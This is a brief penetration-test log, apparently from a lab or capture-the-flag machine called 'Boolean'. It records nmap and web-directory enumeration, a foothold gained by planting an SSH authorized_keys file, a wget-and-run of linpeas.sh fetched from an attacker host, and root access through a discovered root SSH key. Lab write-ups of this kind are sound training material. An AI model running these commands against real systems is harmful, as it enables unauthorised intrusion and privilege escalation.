Boolean

๐Ÿงช Pentest Log: {{date:2025-07-31}}

๐Ÿ” Target Information

ip=192.168.238.231

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

ssh -i id_rsa remi@$ip

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

๐Ÿ’ฃ Exploitation / Foothold

Tool / Script Used:

SSH

Upload a self generated public key to the .ssh folder, then ssh into the victim

ssh-keygen -t rsa -b 4096 -f id_rsa

mv id_rsa.pub authorized_keys

chmod 600 id_rsa

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

Linpeas:

wget http://192.168.45.163/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

found the ./ssh/keys/root

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

ssh -o IdentitiesOnly=yes -i /home/remi/.ssh/keys/root root@127.0.0.1